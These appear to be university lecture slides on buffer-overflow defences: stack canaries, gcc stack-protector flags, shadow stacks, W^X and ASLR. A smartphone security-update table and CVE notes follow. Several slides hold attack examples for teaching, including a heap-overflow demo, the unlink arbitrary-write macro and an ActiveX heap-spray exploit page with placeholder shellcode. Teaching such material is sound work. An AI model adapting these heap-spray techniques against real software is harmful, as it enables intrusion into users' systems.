CSC 405
Computer Security

Stack Canaries & ASLR

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How can we prevent a buffer overflow?

Buffer overflow defenses

- Check bounds
  - Programmer
  - Language
- Stack canaries
- [...more…]

StackGuard

- A compiler technique that attempts to eliminate buffer overflow vulnerabilities
- No source code changes
- Patch for the function prologue and epilogue
  - Prologue
    - push an additional value into the stack (canary)
  - Epilogue
    - pop the canary value from the stack and check that it hasn't changed

Regular stack



StackGuard

canary: random 32-bit value



StackGuard


0xFFFFFF
...
previous frame
function arguments
return address
&shellcode
canary
???
previous frame pointer
shellcode
local variables
0x000000
...

Let's check what gcc does!

```c
#include <stdio.h>

int main(void) {
        return printf("Hello World!\n");
}
```

```
$ gcc -fstack-protector-all helloworld.c -o helloworld
$ gdb ./helloworld
```

StackGuard assembly

```
(gdb) disas main
Dump of assembler code for function main:
   0x0804846b <+0>:  lea    0x4(%esp),%ecx
   0x0804846f <+4>:  and    $0xfffffff0,%esp
   0x08048472 <+7>:  pushl  -0x4(%ecx)
   0x08048475 <+10>: push   %ebp
   0x08048476 <+11>: mov    %esp,%ebp
   0x08048478 <+13>: push   %ecx
   0x08048479 <+14>: sub    $0x14,%esp
   0x0804847c <+17>: mov    %gs:0x14,%eax
   0x08048482 <+23>: mov    %eax,-0xc(%ebp)
   0x08048485 <+26>: xor    %eax,%eax
   0x08048487 <+28>: sub    $0xc,%esp
   0x0804848a <+31>: push   $0x8048530
   0x0804848f <+36>: call   0x8048330 <printf@plt>
```

StackGuard assembly

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```

StackGuard assembly

```
   0x08048494 <+41>:  add    $0x10,%esp
   0x08048497 <+44>:  mov    -0xc(%ebp),%edx
   0x0804849a <+47>:  xor    %gs:0x14,%edx
   0x080484a1 <+54>:  je     0x80484a8 <main+61>
   0x080484a3 <+56>:  call   0x8048340 <__stack_chk_fail@plt>
   0x080484a8 <+61>:  mov    -0x4(%ebp),%ecx
   0x080484ab <+64>:  leave
   0x080484ac <+65>:  lea    -0x4(%ecx),%esp
   0x080484af <+68>:  ret
End of assembler dump.
```

StackGuard assembly

```
   0x08048494 <+41>: add    $0x10,%esp
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   0x080484af <+68>: ret
End of assembler dump.
```

Canary Types

- **Random Canary** – The original concept for canary values took a 32-bit pseudo random value generated by the /dev/random or /dev/urandom devices on a Linux operating system.
- **Random XOR Canary** – The random canary concept was extended in StackGuard version 2 to provide slightly more protection by performing a XOR operation on the random canary value with the stored control data.
- **Null Canary** – Originally introduced by der Mouse on the BUGTRAQ security mailing list, the canary value is set to 0x00000000 which is chosen based upon the fact that most string functions terminate on a null value and should not be able to overwrite the return address if the buffer must contain nulls before it can reach the saved address.
- **Terminator Canary** – The canary value is set to a combination of Null, CR, LF, and 0xFF. These values act as string terminators in most string functions, and accounts for functions which do not simply terminate on nulls such as gets().

Terminator Canary

0x000aff0d

\x00: terminates strcpy
\x0a: terminates gets (LF)
\xff: Form feed
\x0d: Carriage return

We used **-fstack-protector-all** to add the protection in gcc

-fstack-protector-strong

- -fstack-protector is not enough
  - Adds stack protection to functions that have “alloca” or have a (signed or unsigned) char array with size > 8 (SSP_BUFFER_SIZE)
- fstack-protector-all is an overkill
  - Adds stack protection to ALL functions.
- -fstack-protector-strong was introduced by the Google Chrome OS team
- Any function that declares any type or length of **local array**, even those in structs or unions
- It will also protect functions that use a **local variable's address** in a function argument or on the right-hand side of an assignment
- In addition, any function that uses **local register variables** will be protected


X:
protected by guard1
vunerable
from Q
XX:
guard1
unprotected
var1
G:
protected by guard0
vunerable from P
return
old-bp
guard0
v0
still unprotected
v1
still unprotected
array
Y:
F:
wgets(P)
wgets(Q)

source

How can we bypass stack canaries?

Frame Pointer Overwrite Attack



http://phrack.org/issues/55/8.html#article

Other pointers

- Global Offset Table (GOT)
  - table of addresses which resides in the data section
  - helps with relocations in memory
- Function pointers
- Non-overflow exploits with arbitrary writes

http://phrack.org/issues/56/5.html#article

Shadow Stack



"Transparent runtime shadow stack: Protection against malicious return address modifications"

source: https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf

NOEXEC (W^X)



NOEXEC (W^X)





Address Space Layout Randomization (ASLR)

- Randomly arranges the address space positions of key data areas of a process
  - the base of the executable
  - the stack
  - the heap
  - libraries

- Discovering the address of your shellcode becomes a difficult task

Summary of defenses

Stack cookies/canaries
Shadow stack
W^X
ASLR

What about Heap-based overflows?

Heap-based overflows

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

int main() {
   u_long diff;
   char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

   diff = (u_long)buf2 - (u_long)buf1;
   printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);

   memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';

   printf("before overflow: buf2 = %s\n", buf2);
   memset(buf1, 'B', (u_int)(diff + OVERSIZE));
   printf("after overflow: buf2 = %s\n", buf2);

   return 0;
}
```

Overflow into another buffer

```
$ gcc heap.c -o heap #no flag for gcc protections!
$ ./heap
buf1 = 0x9d7010, buf2 = 0x9d7030, diff = 0x20 bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA
```

How does malloc/free work?



free()

```
#define unlink( P, BK, FD ) {
    [1] BK = P->bk;
    [2] FD = P->fd;
    [3] FD->bk = BK;
    [4] BK->fd = FD;
}
```



Arbitrary write!!!

Let’s break ASLR in the heap!

Heap spraying

```
var x  = new Array();
// fill 200MB of memory with copies of NOP
// slide and shellcode

for(var i = 0; i < 200; i++) {
   x[i] = nop + shellcode;
}
```

source: Heap Feng Shui in Javascript (link)

Heap spraying - normal heap



Heap sprayed



Heap spraying strategy

1. Spray the heap with 200MB of nopsled+shellcode
2. Overwrite a function pointer with 0x0c0c0c0c
3. Arrange for the pointer to be called



ActiveX Heap Spray

```
<html>
 <head>
   <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
 </head>
 <body>
 <script>
 var Shellcode = unescape('actual_shellcode');
 var NopSlide = unescape('%u9090%u9090');

 var headersize = 20;
 var slack = headersize + Shellcode.length;

 while (NopSlide.length < slack) NopSlide += NopSlide;
 var filler = NopSlide.substring(0,slack);
 var chunk = NopSlide.substring(0,NopSlide.length - slack);

 while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
 var memory = new Array();
 for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }

 // Trigger crash => EIP = 0x06060606
 pointer='';
 for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
 Oops.OpenFile(pointer);
</script></body></html>
```

source: Putting Needles in the Haystack (link)


Recycle Bin
dzzie-COMR...
OleView32
My Computer
COMRaider
oleview.exe
IDA Demo
C:\Documents and Settings\Administrator\Desktop\SoSad.html - Windows Internet Explorer
File Edit View Favorites Tools Help
C:\Documents and Settings\Administrator\Desktop\SoSad.h
Google
C:\Documents and Settings\Administrator\Desktop\So...
Page Tools
WinDbg (X86)
Immunity Debugger
b33f
Oww Snap!
OK
arwin.exe
Done
My Computer
100%
Command Prompt
SoSad.html
heap-feng-s... (1).zip
heapLib.js
Dldrv.ocx
RSP MP3 Player
snap.html
bla.html
trigger.html
msf.rb
ms06-067-k...
ms12-043.html
ms08-078-...
iframe.html
97448886.txt
heapspray
start
C:\Documents and Se...
C:\Documents and Se...
b33f
EN
7:43 PM

Global security update availability for Smartphones

(January/February 2018 Report)

OS	Brand	Shortest time to publish a SU		Max worldwide availability delay**		SU is carrier independant for ALL devices	Support duration for security updates (2016)	Support duration for security updates (2017)		Devices SU's availability rate after 1 Month***
		For the first device	For all supported devices	Manufacturer Update	Carrier Update			Minimum	Maximum	
iOS	Apple	Day(s)	Day(s)	1 Day	-	Yes	5 years	4 years*	5 years	ALL devices
Windows	Microsoft / Nokia	Day(s)	Day(s)	1 Day	-	Yes	3 years	4 years		ALL devices
PrivatOS	Silent Circle	Weeks/Month*	N/A	1 Day	-	Yes	3 years	3 years		ALL devices
Android	Essential	Day(s)	N/A	1 Day	Month(s)*	No	N/A	3 years *(Expected)**		High
	Google	Day(s)	Day(s)	2 weeks*	Month(s)	No	2 years	3 years		High
	BlackBerry	Week(s)	Week(s)	Week(s)	Month(s)	No	2 years	2 years		Medium/High
	Nokia (HMD)	Week(s)	1 Month	Week(s)	Month(s)	No	N/A	2 years *(Expected)* *		Medium/High
	Sony	Week(s)	Month(s)	Quarter(s)	Quarter(s)	No	1,5 years	1,5 years	2 years	Medium/High
	FairPhone	Week(s)*	N/A	1 Day*	-	Yes	1,5 years*	2 years*		ALL devices but partially updated*
	Huawei	Week(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1,5 years	2,5 years	Medium/Low
	LG	Week(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1,5 years	2,5 years	Medium/Low
	Samsung	Week(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	2,5 years	Medium/Low
	Asus	Week(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	1,5 years	Low
	Motorola (Lenovo)	Week(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	2 years	Low
	OnePlus	Month(s) *	Month(s)	Quarter(s)	-	Yes	1/1,5 years	1,5 years	2 years	Low & partially updated*
	Honor (Huawei)	Month(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	1,5 years	Low
	HTC	Month(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	1,5 years	Low
	Blu (Tinno)	Month(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	1,5 years	None
	Wiko (Tinno)	Month(s)	Month(s)	Quarter(s)	Quarter(s)	No	1/1,5 years	1 year	1,5 years	None

SU = Security Update. After a high or critical security breach has been unveiled.

* Apple : They stopped supporting iPhone 5C in 2017 after 4 years, all other devices since iPhone 4S (2011) have been supported for 5 years.
* Silent Circle announcement : "Critical vulnerabilities are patched within 72 hours of detection or reportin", but January 2018 security patch was available only after a delay of 1 month.
* Essential : Most of US and Canadian carrier push update directly trom Essential, or in only fews days/weeks, but some carriers can also take months (like Telus) .
* Essential & Nokia : They started selling phones in 2017. We have indicated the official support announced.
* Google : Delay from official security policy https://support.google.com/nexus/answer/4457705
* Fairphone : Lasts updates doesn't cover all security vulnerability for January/February (Cover only 50% high-critical security vulnerability)
* Fairphone, duration for SU : FairPhone 1 had only 1,5 years of support (Until August 2015), FairPhone 2 had in 2017 2 years of support.
* OnePlus : deploy partial updates for limited high-critical security updates every month. Full security update are usually every 2 months.

** When the first update is provided for the device by the manufacturer.

*** Average support duration for all devices.

Status at 15 february, more than 1 month after publication of Meltdown/Spectre security flows, and 25 criticals/High CVE.

Author : SecX13/S.R.

Your Security Zen



CVE-2019-5736

runc container breakout

Affects the container runtime underneath Docker, cri-o, containerd, Kubernetes, etc

“The vulnerability allows a malicious container to overwrite the host runc binary and thus gain root-level code execution on the host.”

kubernetes

Your Security Zen

CVE-2019-1986

Remote Code Execution on Android

“allow a remote attacker using a specially crafted **PNG file** to execute arbitrary code within the context of a privileged process”

source: https://source.android.com/security/bulletin/2019-02-01.html


4:15
Your system is up to date
Android version: 9
Security patch level: January 5, 2019
Last successful check for update at 4:14 PM
Check for update